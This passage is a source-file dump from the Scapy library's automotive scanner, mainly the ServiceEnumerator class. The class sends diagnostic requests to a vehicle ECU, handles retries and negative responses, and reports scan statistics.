d[tc.__class__.__name__][\"stop_event\"]\n            except KeyError:\n                pass\n\n        for tc in d[\"staged_test_cases\"]:\n            try:\n                del d[tc.__class__.__name__][\"stop_event\"]\n            except KeyError:\n                pass\n\n        try:\n            del d[\"global_kwargs\"][\"stop_event\"]\n        except KeyError:\n            pass\n\n        return f, t, d\n"
  },
  {
    "path": "scapy/contrib/automotive/scanner/enumerator.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = ServiceEnumerator definitions\n# scapy.contrib.status = library\n\n\nimport abc\nimport threading\nimport time\nimport copy\nfrom collections import defaultdict, OrderedDict\nfrom itertools import chain\nfrom typing import NamedTuple\n\nfrom scapy.compat import orb\nfrom scapy.contrib.automotive import log_automotive\nfrom scapy.error import Scapy_Exception\nfrom scapy.utils import make_lined_table, EDecimal, PeriodicSenderThread\nfrom scapy.packet import Packet\nfrom scapy.contrib.automotive.ecu import EcuState, EcuResponse\nfrom scapy.contrib.automotive.scanner.test_case import AutomotiveTestCase, \\\n    StateGenerator, _SocketUnion, _TransitionTuple\nfrom scapy.contrib.automotive.scanner.configuration import \\\n    AutomotiveTestCaseExecutorConfiguration\nfrom scapy.contrib.automotive.scanner.graph import _Edge\n\n# Typing imports\nfrom typing import (\n    Any,\n    Union,\n    List,\n    Optional,\n    Iterable,\n    Dict,\n    Tuple,\n    Set,\n    Callable,\n    cast,\n)\n\n# Definition outside the class ServiceEnumerator to allow pickling\n_AutomotiveTestCaseScanResult = NamedTuple(\n    \"_AutomotiveTestCaseScanResult\",\n    [(\"state\", EcuState),\n     (\"req\", Packet),\n     (\"resp\", Optional[Packet]),\n     (\"req_ts\", Union[EDecimal, float]),\n     (\"resp_ts\", Optional[Union[EDecimal, float]])])\n\n_AutomotiveTestCaseFilteredScanResult = NamedTuple(\n    \"_AutomotiveTestCaseFilteredScanResult\",\n    [(\"state\", EcuState),\n     (\"req\", Packet),\n     (\"resp\", Packet),\n     (\"req_ts\", Union[EDecimal, float]),\n     (\"resp_ts\", Union[EDecimal, float])])\n\n\nclass ServiceEnumerator(AutomotiveTestCase, metaclass=abc.ABCMeta):\n    \"\"\"\n    Base class for ServiceEnumerators of automotive diagnostic protocols\n    \"\"\"\n\n    _supported_kwargs = copy.copy(AutomotiveTestCase._supported_kwargs)\n    _supported_kwargs.update({\n        'timeout': ((int, float), lambda x: x > 0),\n        'count': (int, lambda x: x >= 0),\n        'execution_time': (int, None),\n        'state_allow_list': ((list, EcuState), None),\n        'state_block_list': ((list, EcuState), None),\n        'retry_if_none_received': (bool, None),\n        'exit_if_no_answer_received': (bool, None),\n        'exit_if_service_not_supported': (bool, None),\n        'exit_scan_on_first_negative_response': (bool, None),\n        'retry_if_busy_returncode': (bool, None),\n        'stop_event': (threading.Event, None),\n        'debug': (bool, None),\n        'scan_range': ((list, tuple, range), None),\n        'unittest': (bool, None),\n        'disable_tps_while_sending': (bool, None),\n        'inter': ((int, float), lambda x: x >= 0),\n    })\n\n    _supported_kwargs_doc = AutomotiveTestCase._supported_kwargs_doc + \"\"\"\n        :param timeout: Timeout until a response will arrive after a request\n        :type timeout: integer or float\n        :param integer count: Number of request to be sent in one execution\n        :param int execution_time: Time in seconds until the execution of\n                                   this enumerator is stopped.\n        :param state_allow_list: List of EcuState objects or EcuState object\n                                 in which the the execution of this enumerator\n                                 is allowed. If provided, other states will not\n                                 be executed.\n        :type state_allow_list: EcuState or list\n        :param state_block_list: List of EcuState objects or EcuState object\n                                 in which the the execution of this enumerator\n                                 is blocked.\n        :type state_block_list: EcuState or list\n        :param bool retry_if_none_received: Specifies if a request will be send\n                                            again, if None was received\n                                            (usually because of a timeout).\n        :param bool exit_if_no_answer_received: Specifies to finish the\n                                                execution of this enumerator\n                                                once None is  received.\n        :param bool exit_if_service_not_supported: Specifies to finish the\n                                                   execution of this\n                                                   enumerator, once the\n                                                   negative return code\n                                                   'serviceNotSupported' is\n                                                   received.\n        :param bool exit_scan_on_first_negative_response: Specifies to finish\n                                                          the execution once a\n                                                          negative response is\n                                                          received.\n        :param bool retry_if_busy_returncode: Specifies to retry a request, if\n                                              the 'busyRepeatRequest' negative\n                                              response code is received.\n        :param bool debug: Enables debug functions during execute.\n        :param Event stop_event: Signals immediate stop of the execution.\n        :param scan_range: Specifies the identifiers to be scanned.\n        :type scan_range: list or tuple or range or iterable\n        :param disable_tps_while_sending: Temporary disables a TesterPresentSender\n                                          to not interact with a seed request.\n        :type disable_tps_while_sending: bool\n        :param inter: delay between two packets during sending\n        :type inter: int or float\"\"\"\n\n    def __init__(self):\n        # type: () -> None\n        super(ServiceEnumerator, self).__init__()\n        self._result_packets = OrderedDict()  # type: Dict[bytes, Packet]\n        self._results = list()  # type: List[_AutomotiveTestCaseScanResult]\n        self._request_iterators = dict()  # type: Dict[EcuState, Iterable[Packet]]  # noqa: E501\n        self._retry_pkt = defaultdict(list)  # type: Dict[EcuState, Union[Packet, Iterable[Packet]]]  # noqa: E501\n        self._negative_response_blacklist = [0x10, 0x11]  # type: List[int]\n        self._requests_per_state_estimated = None  # type: Optional[int]\n        self._tester_present_sender = None  # type: Optional[PeriodicSenderThread]\n\n    @staticmethod\n    @abc.abstractmethod\n    def _get_negative_response_code(resp):\n        # type: (Packet) -> int\n        raise NotImplementedError()\n\n    @staticmethod\n    @abc.abstractmethod\n    def _get_negative_response_desc(nrc):\n        # type: (int) -> str\n        raise NotImplementedError()\n\n    def _get_table_entry_x(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        \"\"\"\n        Provides a table entry for the column which gets print during `show()`.\n        :param tup: A results tuple\n        :return: A string which describes the state\n        \"\"\"\n        return str(tup[0])\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        \"\"\"\n        Provides a table entry for the line which gets print during `show()`.\n        :param tup: A results tuple\n        :return: A string which describes the request\n        \"\"\"\n        return repr(tup[1])\n\n    def _get_table_entry_z(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        \"\"\"\n        Provides a table entry for the field which gets print during `show()`.\n        :param tup: A results tuple\n        :return: A string which describes the response\n        \"\"\"\n        return repr(tup[2])\n\n    @staticmethod\n    @abc.abstractmethod\n    def _get_negative_response_label(response):\n        # type: (Packet) -> str\n        raise NotImplementedError()\n\n    @abc.abstractmethod\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        raise NotImplementedError(\"Overwrite this method\")\n\n    def __reduce__(self):  # type: ignore\n        f, t, d = super(ServiceEnumerator, self).__reduce__()  # type: ignore\n\n        try:\n            del d[\"_tester_present_sender\"]\n        except KeyError:\n            pass\n\n        try:\n            for k, v in d[\"_request_iterators\"].items():\n                d[\"_request_iterators\"][k] = list(v)\n        except KeyError:\n            pass\n\n        try:\n            for k in d[\"_retry_pkt\"]:\n                d[\"_retry_pkt\"][k] = list(self._get_retry_iterator(k))\n        except KeyError:\n            pass\n        return f, t, d\n\n    @property\n    def negative_response_blacklist(self):\n        # type: () -> List[int]\n        return self._negative_response_blacklist\n\n    @property\n    def completed(self):\n        # type: () -> bool\n        if len(self._results):\n            return all([self.has_completed(s) for s in self.scanned_states])\n        else:\n            return super(ServiceEnumerator, self).completed\n\n    def _store_result(self, state, req, res):\n        # type: (EcuState, Packet, Optional[Packet]) -> None\n        if bytes(req) not in self._result_packets:\n            self._result_packets[bytes(req)] = req\n\n        if res and bytes(res) not in self._result_packets:\n            self._result_packets[bytes(res)] = res\n\n        self._results.append(_AutomotiveTestCaseScanResult(\n            state,\n            self._result_packets[bytes(req)],\n            self._result_packets[bytes(res)] if res is not None else None,\n            req.sent_time or 0.0,\n            res.time if res is not None else None))\n\n    def _get_retry_iterator(self, state):\n        # type: (EcuState) -> Iterable[Packet]\n        retry_entry = self._retry_pkt[state]\n        if isinstance(retry_entry, Packet):\n            log_automotive.debug(\"Provide retry packet\")\n            return [retry_entry]\n        elif isinstance(retry_entry, list):\n            if len(retry_entry):\n                log_automotive.debug(\"Provide retry list\")\n        else:\n            log_automotive.debug(\"Provide retry iterator\")\n            # assume self.retry_pkt is a generator or list\n\n        return retry_entry\n\n    def _get_initial_request_iterator(self, state, **kwargs):\n        # type: (EcuState, Any) -> Iterable[Packet]\n        if state not in self._request_iterators:\n            self._request_iterators[state] = iter(\n                self._get_initial_requests(**kwargs))\n\n        return self._request_iterators[state]\n\n    def _get_request_iterator(self, state, **kwargs):\n        # type: (EcuState, Optional[Dict[str, Any]]) -> Iterable[Packet]\n        return chain(self._get_retry_iterator(state),\n                     self._get_initial_request_iterator(state, **kwargs))\n\n    def _prepare_runtime_estimation(self, **kwargs):\n        # type: (Optional[Dict[str, Any]]) -> None\n        if self._requests_per_state_estimated is None:\n            try:\n                initial_requests = self._get_initial_requests(**kwargs)\n                self._requests_per_state_estimated = len(list(initial_requests))\n            except NotImplementedError:\n                pass\n\n    def runtime_estimation(self):\n        # type: () -> Optional[Tuple[int, int, float]]\n        if self._requests_per_state_estimated is None:\n            return None\n\n        pkts_tbs = max(\n            len(self.scanned_states) * self._requests_per_state_estimated, 1)\n        pkts_snt = len(self.results)\n\n        return pkts_tbs, pkts_snt, float(pkts_snt) / pkts_tbs\n\n    def pre_execute(self, socket, state, global_configuration):\n        # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None  # noqa: E501\n        try:\n            self._tester_present_sender = global_configuration[\"tps\"]\n        except KeyError:\n            self._tester_present_sender = None\n\n    def post_execute(self, socket, state, global_configuration):\n        # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None  # noqa: E501\n        self._tester_present_sender = None\n\n    def execute(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> None\n        self.check_kwargs(kwargs)\n        timeout = kwargs.pop('timeout', 1)\n        count = kwargs.pop('count', None)\n        execution_time = kwargs.pop(\"execution_time\", 1200)\n        stop_event = kwargs.pop(\"stop_event\", None)  # type: Optional[threading.Event]  # noqa: E501\n        disable_tps = kwargs.pop(\"disable_tps_while_sending\", False)\n        inter = kwargs.pop(\"inter\", 0)\n\n        self._prepare_runtime_estimation(**kwargs)\n\n        state_block_list = kwargs.get('state_block_list', list())\n\n        if state_block_list and state in state_block_list:\n            self._state_completed[state] = True\n            log_automotive.debug(\"State %s in block list!\", repr(state))\n            return\n\n        state_allow_list = kwargs.get('state_allow_list', list())\n\n        if state_allow_list and state not in state_allow_list:\n            self._state_completed[state] = True\n            log_automotive.debug(\"State %s not in allow list!\",\n                                 repr(state))\n            return\n\n        it = self._get_request_iterator(state, **kwargs)\n\n        # log_automotive.debug(\"[i] Using iterator %s in state %s\", it, state)\n\n        start_time = time.monotonic()\n        log_automotive.debug(\n            \"Start execution of enumerator: %s\", time.ctime())\n\n        for req in it:\n            if stop_event:\n                stop_event.wait(timeout=inter)\n            else:\n                time.sleep(inter)\n\n            if disable_tps and self._tester_present_sender:\n                self._tester_present_sender.disable()\n\n            res = self.sr1_with_retry_on_error(req, socket, state, timeout)\n\n            if disable_tps and self._tester_present_sender:\n                self._tester_present_sender.enable()\n\n            self._store_result(state, req, res)\n\n            if self._evaluate_response(state, req, res, **kwargs):\n                log_automotive.debug(\n                    \"Stop test_case execution because of response evaluation\")\n                return\n\n            if count is not None:\n                count -= 1\n                if count <= 0:\n                    log_automotive.debug(\n                        \"Finished execution count of enumerator\")\n                    return\n\n            if (start_time + execution_time) < time.monotonic():\n                log_automotive.debug(\n                    \"[i] Finished execution time of enumerator: %s\",\n                    time.ctime())\n                return\n\n            if stop_event is not None and stop_event.is_set():\n                log_automotive.info(\n                    \"Stop test_case execution because of stop event\")\n                return\n\n        log_automotive.info(\"Finished iterator execution\")\n        self._state_completed[state] = True\n        log_automotive.debug(\"States completed %s\",\n                             repr(self._state_completed))\n\n    execute.__doc__ = _supported_kwargs_doc\n\n    def sr1_with_retry_on_error(self, req, socket, state, timeout):\n        # type: (Packet, _SocketUnion, EcuState, int) -> Optional[Packet]\n        try:\n            res = socket.sr1(req, timeout=timeout, verbose=False,\n                             chainEX=True, chainCC=True)\n        except (OSError, ValueError, Scapy_Exception) as e:\n            if not self._populate_retry(state, req):\n                log_automotive.exception(\n                    \"Exception during retry. This is bad\")\n            raise e\n        return res\n\n    def _evaluate_response(self,\n                           state,  # type: EcuState\n                           request,  # type: Packet\n                           response,  # type: Optional[Packet]\n                           **kwargs  # type: Optional[Dict[str, Any]]\n                           ):  # type: (...) -> bool\n        \"\"\"\n        Evaluates the response and determines if the current scan execution\n        should be stopped.\n        :param state: Current state of the ECU under test\n        :param request: Sent request\n        :param response: Received response\n        :param kwargs: Arguments to modify the behavior of this function.\n                       Supported arguments:\n                         - retry_if_none_received: True/False\n                         - exit_if_no_answer_received: True/False\n                         - exit_if_service_not_supported: True/False\n                         - exit_scan_on_first_negative_response: True/False\n                         - retry_if_busy_returncode: True/False\n        :return: True, if current execution needs to be interrupted.\n                 False, if enumerator should proceed with the execution.\n        \"\"\"\n        if response is None:\n            if cast(bool, kwargs.pop(\"retry_if_none_received\", False)):\n                log_automotive.debug(\n                    \"Retry %s because None received\", repr(request))\n                return self._populate_retry(state, request)\n            return cast(bool, kwargs.pop(\"exit_if_no_answer_received\", False))\n\n        if self._evaluate_negative_response_code(\n                state, response, **kwargs):\n            # leave current execution, because of a negative response code\n            return True\n\n        if self._evaluate_retry(state, request, response, **kwargs):\n            # leave current execution, because a retry was set\n            return True\n\n        # cleanup retry packet\n        self._retry_pkt[state] = []\n\n        return self._evaluate_ecu_state_modifications(state, request, response)\n\n    def _evaluate_ecu_state_modifications(self,\n                                          state,  # type: EcuState\n                                          request,  # type: Packet\n                                          response,  # type: Packet\n                                          ):  # type: (...) -> bool\n        if EcuState.is_modifier_pkt(response):\n            if state != EcuState.get_modified_ecu_state(\n                    response, request, state):\n                log_automotive.debug(\n                    \"Exit execute. Ecu state was modified!\")\n                return True\n        return False\n\n    def _evaluate_negative_response_code(self,\n                                         state,  # type: EcuState\n                                         response,  # type: Packet\n                                         **kwargs  # type: Optional[Dict[str, Any]]  # noqa: E501\n                                         ):  # type: (...) -> bool\n        exit_if_service_not_supported = \\\n            kwargs.pop(\"exit_if_service_not_supported\", False)\n        exit_scan_on_first_negative_response = \\\n            kwargs.pop(\"exit_scan_on_first_negative_response\", False)\n\n        if exit_scan_on_first_negative_response and response.service == 0x7f:\n            return True\n\n        if exit_if_service_not_supported and response.service == 0x7f:\n            response_code = self._get_negative_response_code(response)\n            if response_code in [0x11, 0x7f]:\n                names = {0x11: \"serviceNotSupported\",\n                         0x7f: \"serviceNotSupportedInActiveSession\"}\n                log_automotive.debug(\n                    \"Exit execute because negative response %s received!\",\n                    names[response_code])\n                # execute of current state is completed,\n                # since a serviceNotSupported negative response was received\n                self._state_completed[state] = True\n                # stop current execute and exit\n                return True\n        return False\n\n    def _populate_retry(self,\n                        state,  # type: EcuState\n                        request,  # type: Packet\n                        ):  # type: (...) -> bool\n        \"\"\"\n        Populates internal storage with request for a retry.\n\n        :param state: Current state\n        :param request: Request which needs a retry\n        :return: True, if storage was populated. If False is returned, the\n                 retry storage is still populated. This indicates that the\n                 current execution was already a retry execution.\n        \"\"\"\n\n        if not self._get_retry_iterator(state):\n            # This was no retry since the retry_pkt is None\n            self._retry_pkt[state] = request\n            log_automotive.debug(\n                \"Exit execute. Retry packet next time!\")\n            return True\n        else:\n            # This was a unsuccessful retry, continue execute\n            log_automotive.debug(\"Unsuccessful retry!\")\n            return False\n\n    def _evaluate_retry(self,\n                        state,  # type: EcuState\n                        request,  # type: Packet\n                        response,  # type: Packet\n                        **kwargs  # type: Optional[Dict[str, Any]]\n                        ):  # type: (...) -> bool\n        retry_if_busy_returncode = \\\n            kwargs.pop(\"retry_if_busy_returncode\", True)\n\n        if retry_if_busy_returncode and response.service == 0x7f \\\n                and self._get_negative_response_code(response) == 0x21:\n            log_automotive.debug(\n                \"Retry %s because retry_if_busy_returncode received\",\n                repr(request))\n            return self._populate_retry(state, request)\n        return False\n\n    def _compute_statistics(self):\n        # type: () -> List[Tuple[str, str, str]]\n        data_sets = [(\"all\", self._results)]\n\n        for state in self._state_completed.keys():\n            data_sets.append((repr(state),\n                              [r for r in self._results if r.state == state]))\n\n        stats = list()  # type: List[Tuple[str, str, str]]\n\n        for desc, data in data_sets:\n            answered = [cast(_AutomotiveTestCaseFilteredScanResult, r)\n                        for r in data if r.resp is not None and\n                        r.resp_ts is not None]\n            unanswered = [r for r in data if r.resp is None]\n            answertimes = [float(x.resp_ts) - float(x.req_ts)\n                           for x in answered]\n            answertimes_nr = [float(x.resp_ts) - float(x.req_ts)\n                              for x in answered if x.resp.service == 0x7f]\n            answertimes_pr = [float(x.resp_ts) - float(x.req_ts)\n                              for x in answered if x.resp.service != 0x7f]\n\n            nrs = [r.resp for r in answered if r.resp.service == 0x7f]\n            stats.append((desc, \"num_answered\", str(len(answered))))\n            stats.append((desc, \"num_unanswered\", str(len(unanswered))))\n            stats.append((desc, \"num_negative_resps\", str(len(nrs))))\n\n            for postfix, times in zip(\n                    [\"\", \"_nr\", \"_pr\"],\n                    [answertimes, answertimes_nr, answertimes_pr]):\n                try:\n                    ma = str(round(max(times), 5))\n                except ValueError:\n                    ma = \"-\"\n\n                try:\n                    mi = str(round(min(times), 5))\n                except ValueError:\n                    mi = \"-\"\n\n                try:\n                    avg = str(round(sum(times) / len(times), 5))\n                except (ValueError, ZeroDivisionError):\n                    avg = \"-\"\n\n                stats.append((desc, \"answertime_min\" + postfix, mi))\n                stats.append((desc, \"answertime_max\" + postfix, ma))\n                stats.append((desc, \"answertime_avg\" + postfix, avg))\n\n        return stats\n\n    def _show_statistics(self, **kwargs):\n        # type: (Any) -> str\n        stats = self._compute_statistics()\n\n        s = \"%d requests were sent, %d answered, %d unanswered\" % \\\n            (len(self._results),\n             len(self.results_with_response),\n             len(self.results_without_response)) + \"\\n\"\n\n        s += \"Statistics per state\\n\"\n        s += make_lined_table(stats, lambda *x: x, dump=True, sortx=str,\n                              sorty=str) or \"\"\n\n        return s + \"\\n\"\n\n    def _prepare_negative_response_blacklist(self):\n        # type: () -> None\n        nrc_dict = defaultdict(int)  # type: Dict[int, int]\n        for nr in self.results_with_negative_response:\n            nrc_dict[self._get_negative_response_code(nr.resp)] += 1\n\n        total_nr_count = len(self.results_with_negative_response)\n        for nrc, nr_count in nrc_dict.items():\n            if nrc not in self.negative_response_blacklist and \\\n                    nr_count > 30 and (nr_count / total_nr_count) > 0.3:\n                log_automotive.info(\"Added NRC 0x%02x to filter\", nrc)\n                self.negative_response_blacklist.append(nrc)\n\n            if nrc in self.negative_response_blacklist and nr_count < 10:\n                log_automotive.info(\"Removed NRC 0x%02x to filter\", nrc)\n                self.negative_response_blacklist.remove(nrc)\n\n    @property\n    def results(self):\n        # type: () -> List[_AutomotiveTestCaseScanResult]\n        return self._results\n\n    @property\n    def results_with_response(self):\n        # type: () -> List[_AutomotiveTestCaseFilteredScanResult]\n        filtered_results = list()\n        for r in self._results:\n            if r.resp is None:\n                continue\n            if r.resp_ts is None:\n                continue\n            fr = cast(_AutomotiveTestCaseFilteredScanResult, r)\n            filtered_results.append(fr)\n        return filtered_results\n\n    @property\n    def filtered_results(self):\n        # type: () -> List[_AutomotiveTestCaseFilteredScanResult]\n        filtered_results = self.results_with_positive_response\n\n        for r in self.results_with_negative_response:\n            nrc = self._get_negative_response_code(r.resp)\n            if nrc not in self.negative_response_blacklist:\n                filtered_results.append(r)\n        return filtered_results\n\n    @property\n    def scanned_states(self):\n        # type: () -> Set[EcuState]\n        \"\"\"\n        Helper function to get all sacnned states in results\n        :return: all scanned states\n        \"\"\"\n        return set([tup.state for tup in self._results])\n\n    @property\n    def results_with_negative_response(self):\n        # type: () -> List[_AutomotiveTestCaseFilteredScanResult]\n        \"\"\"\n        Helper function to get all results with negative response\n        :return: all results with negative response\n        \"\"\"\n        return [r for r in self.results_with_response\n                if r.resp and r.resp.service == 0x7f]\n\n    @property\n    def results_with_positive_response(self):\n        # type: () -> List[_AutomotiveTestCaseFilteredScanResult]\n        \"\"\"\n        Helper function to get all results with positive response\n        :return: all results with positive response\n        \"\"\"\n        return [r for r in self.results_with_response  # noqa: E501\n                if r.resp and r.resp.service != 0x7f]\n\n    @property\n    def results_without_response(self):\n        # type: () -> List[_AutomotiveTestCaseScanResult]\n        \"\"\"\n        Helper function to get all results without response\n        :return: all results without response\n        \"\"\"\n        return [r for r in self._results if r.resp is None]\n\n    def _show_negative_response_details(self, **kwargs):\n        # type: (Any) -> str\n        nrc_dict = defaultdict(int)  # type: Dict[int, int]\n        for nr in self.results_with_negative_response:\n            nrc_dict[self._get_negative_response_code(nr.resp)] += 1\n\n        s = \"These negative response codes were received \" + \\\n            \" \".join([hex(c) for c in nrc_dict.keys()]) + \"\\n\"\n        for nrc, nr_count in nrc_dict.items():\n            s += \"\\tNRC 0x%02x: %s received %d times\" % (\n                nrc, self._get_negative_response_desc(nrc), nr_count)\n            s += \"\\n\"\n\n        return s + \"\\n\"\n\n    def _show_negative_response_information(self, **kwargs):\n        # type: (Any) -> str\n        filtered = kwargs.get(\"filtered\", True)\n        s = \"%d negative responses were received\\n\" % \\\n            len(self.results_with_negative_response)\n\n        s += \"\\n\"\n\n        s += self._show_negative_response_details(**kwargs) or \"\" + \"\\n\"\n        if filtered and len(self.negative_response_blacklist):\n            s += \"The following negative response codes are blacklisted: %s\\n\" \\\n                 % [self._get_negative_response_desc(nr)\n                    for nr in self.negative_response_blacklist]\n\n        return s + \"\\n\"\n\n    def _show_results_information(self, **kwargs):\n        # type: (Any) -> str\n        def _get_table_entry(\n            *args: Any\n        ):  # type: (...) -> Tuple[str, str, str]\n            tup = cast(_AutomotiveTestCaseScanResult, args)\n            return self._get_table_entry_x(tup), \\\n                self._get_table_entry_y(tup), \\\n                self._get_table_entry_z(tup)\n\n        filtered = kwargs.get(\"filtered\", True)\n        s = \"=== No data to display ===\\n\"\n        data = self._results if not filtered else self.filtered_results  # type: Union[List[_AutomotiveTestCaseScanResult], List[_AutomotiveTestCaseFilteredScanResult]]  # noqa: E501\n        if len(data):\n            s = make_lined_table(\n                data, _get_table_entry, dump=True, sortx=str) or \"\"\n\n        return s + \"\\n\"\n\n    def show(self, dump=False, filtered=True, verbose=False):\n        # type: (bool, bool, bool) -> Optional[str]\n        if filtered:\n            self._prepare_negative_response_blacklist()\n\n        show_functions = [self._show_header,\n                          self._show_statistics,\n                          self._show_negative_response_information,\n                          self._show_results_information]\n\n        if verbose:\n            show_functions.append(self._show_state_information)\n\n        s = \"\\n\".join(x(filtered=filtered) for x in show_functions)\n\n        if dump:\n            return s + \"\\n\"\n        else:\n            print(s)\n            return None\n\n    def _get_label(self, response, positive_case=\"PR: PositiveResponse\"):\n        # type: (Optional[Packet], Union[Callable[[Packet], str], str]) -> str\n        if response is None:\n            return \"Timeout\"\n        elif orb(bytes(response)[0]) == 0x7f:\n            return self._get_negative_response_label(response)\n        else:\n            if isinstance(positive_case, str):\n                return positive_case\n            elif callable(positive_case):\n                return positive_case(response)\n            else:\n                raise Scapy_Exception(\"Unsupported Type for positive_case. \"\n                                      \"Provide a string or a function.\")\n\n    @property\n    def supported_responses(self):\n        # type: () -> List[EcuResponse]\n        supported_resps = list()\n        all_responses = [p for p in self._result_packets.values()\n                         if orb(bytes(p)[0]) & 0x40]\n        for resp in all_responses:\n            states = list(set([t.state for t in self.results_with_response\n                               if t.resp == resp]))\n            supported_resps.append(EcuResponse(state=states, responses=resp))\n        return supported_resps\n\n\nclass StateGeneratingServiceEnumerator(\n    ServiceEnumerator,\n    StateGenerator,\n    metaclass=abc.ABCMeta\n):\n    def __init__(self):\n        # type: () -> None\n        super(StateGeneratingServiceEnumerator, self).__init__()\n\n        # Internal storage of request packets for a certain Edge. If an edge\n        # is found during the evaluation of the last result of the\n        # ServiceEnumerator, the according request of the result tuple is\n        # stored together with the new Edge.\n        self._edge_requests = dict()  # type: Dict[_Edge, Packet]\n\n    def get_new_edge(self,\n                     socket,  # type: _SocketUnion\n                     config  # type: AutomotiveTestCaseExecutorConfiguration\n                     ):\n        # type: (...) -> Optional[_Edge]\n        \"\"\"\n        Basic identification of a new edge. The last response is evaluated.\n        If this response packet can modify the state of an Ecu, this new\n        state is returned, otherwise None.\n\n        :param socket: Socket to the DUT (unused)\n        :param config: Global configuration of the executor (unused)\n        :return: tuple of old EcuState and new EcuState, or None\n        \"\"\"\n        try:\n            state, req, resp, _, _ = cast(ServiceEnumerator, self).results[-1]\n        except IndexError:\n            return None\n\n        if resp is not None and EcuState.is_modifier_pkt(resp):\n            new_state = EcuState.get_modified_ecu_state(resp, req, state)\n            if new_state == state:\n                return None\n            else:\n                edge = (state, new_state)\n                self._edge_requests[edge] = req\n                return edge\n        else:\n            return None\n\n    @staticmethod\n    def transition_function(\n            sock,  # type: _SocketUnion\n            config,  # type: AutomotiveTestCaseExecutorConfiguration\n            kwargs  # type: Dict[str, Any]\n    ):\n        # type: (...) -> bool\n        \"\"\"\n        Very basic transition function. This function sends a given request\n        in kwargs and evaluates the response.\n\n        :param sock: Connection to the DUT\n        :param config: Global configuration of the executor (unused)\n        :param kwargs: Dictionary with arguments. This function only uses\n                       the argument *\"req\"* which must contain a Packet,\n                       causing an EcuState transition of the DUT.\n        :return: True in case of a successful transition, else False\n        \"\"\"\n        req = kwargs.get(\"req\", None)\n        if req is None:\n            return False\n\n        try:\n            res = sock.sr1(req, timeout=20, verbose=False, chainEX=True)\n            return res is not None and res.service != 0x7f\n        except (OSError, ValueError, Scapy_Exception) as e:\n            log_automotive.exception(\n                \"Exception in transition function: %s\", e)\n            return False\n\n    def get_transition_function_description(self, edge):\n        # type: (_Edge) -> str\n        return repr(self._edge_requests[edge])\n\n    def get_transition_function_kwargs(self, edge):\n        # type: (_Edge) -> Dict[str, Any]\n        req = self._edge_requests[edge]\n        kwargs = {\n            \"desc\": self.get_transition_function_description(edge),\n            \"req\": req\n        }\n        return kwargs\n\n    def get_transition_function(self, socket, edge):\n        # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple]\n        try:\n            return self.transition_function, \\\n                self.get_transition_function_kwargs(edge), None\n        except KeyError:\n            return None\n"
  },
  {
    "path": "scapy/contrib/automotive/scanner/executor.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = AutomotiveTestCaseExecutor base class\n# scapy.contrib.status = library\n\nimport abc\nimport time\n\nfrom itertools import product\n\nfrom scapy.contrib.automotive import log_automotive\nfrom scapy.contrib.automotive.scanner.graph import Graph\nfrom scapy.error import Scapy_Exception\nfrom scapy.supersocket import SuperSocket\nfrom scapy.utils import make_lined_table, SingleConversationSocket\nfrom scapy.contrib.automotive.ecu import EcuState, EcuResponse, Ecu\nfrom scapy.contrib.automotive.scanner.configuration import \\\n    AutomotiveTestCaseExecutorConfiguration\nfrom scapy.contrib.automotive.scanner.test_case import AutomotiveTestCaseABC, \\\n    _SocketUnion, _CleanupCallable, StateGenerator, TestCaseGenerator, \\\n    AutomotiveTestCase\n\n# Typing imports\nfrom typing import (\n    Any,\n    Union,\n    List,\n    Optional,\n    Dict,\n    Callable,\n    Type,\n    cast,\n    TypeVar,\n)\n\nT = TypeVar(\"T\")\n\n\nclass AutomotiveTestCaseExecutor(metaclass=abc.ABCMeta):\n    \"\"\"\n    Base class for different automotive scanners. This class handles\n    the connection to a scan target, ensures the execution of all it's\n    test cases, and stores the system state machine\n\n\n    :param socket: A socket object to communicate with the scan target\n    :param reset_handler: A function to reset the scan target\n    :param reconnect_handler: In case the communication needs to be\n                              established after a reset, provide a\n                              reconnect function which returns a socket object\n    :param test_cases: A list of TestCase instances or classes\n    :param kwargs: Arguments for the internal\n                   AutomotiveTestCaseExecutorConfiguration instance\n    \"\"\"\n\n    @property\n    def _initial_ecu_state(self):\n        # type: () -> EcuState\n        return EcuState(session=1)\n\n    def __init__(\n            self,\n            socket,  # type: Optional[_SocketUnion]\n            reset_handler=None,  # type: Optional[Callable[[], None]]\n            reconnect_handler=None,  # type: Optional[Callable[[], _SocketUnion]]  # noqa: E501\n            test_cases=None,  # type: Optional[List[Union[AutomotiveTestCaseABC, Type[AutomotiveTestCaseABC]]]]  # noqa: E501\n            software_reset_handler=None,  # type: Optional[Callable[[_SocketUnion], None]]  # noqa: E501\n            **kwargs  # type: Optional[Dict[str, Any]]\n    ):  # type: (...) -> None\n\n        # The TesterPresentSender can interfere with a test_case, since a\n        # target may only allow one request at a time.\n        # The SingleConversationSocket prevents interleaving requests.\n        if socket and not isinstance(socket, SingleConversationSocket):\n            self.socket = SingleConversationSocket(socket)  # type: Optional[_SocketUnion]  # noqa: E501\n        else:\n            self.socket = socket\n\n        self.target_state = self._initial_ecu_state\n        self.reset_handler = reset_handler\n        self.reconnect_handler = reconnect_handler\n        self.software_reset_handler = software_reset_handler\n\n        self.cleanup_functions = list()  # type: List[_CleanupCallable]\n\n        self.configuration = AutomotiveTestCaseExecutorConfiguration(\n            test_cases or self.default_test_case_clss, **kwargs)\n        self.validate_test_case_kwargs()\n\n    def __reduce__(self):  # type: ignore\n        f, t, d = super(AutomotiveTestCaseExecutor, self).__reduce__()  # type: ignore  # noqa: E501\n        try:\n            del d[\"socket\"]\n        except KeyError:\n            pass\n        try:\n            del d[\"reset_handler\"]\n        except KeyError:\n            pass\n        try:\n            del d[\"reconnect_handler\"]\n        except KeyError:\n            pass\n        return f, t, d\n\n    @property\n    @abc.abstractmethod\n    def 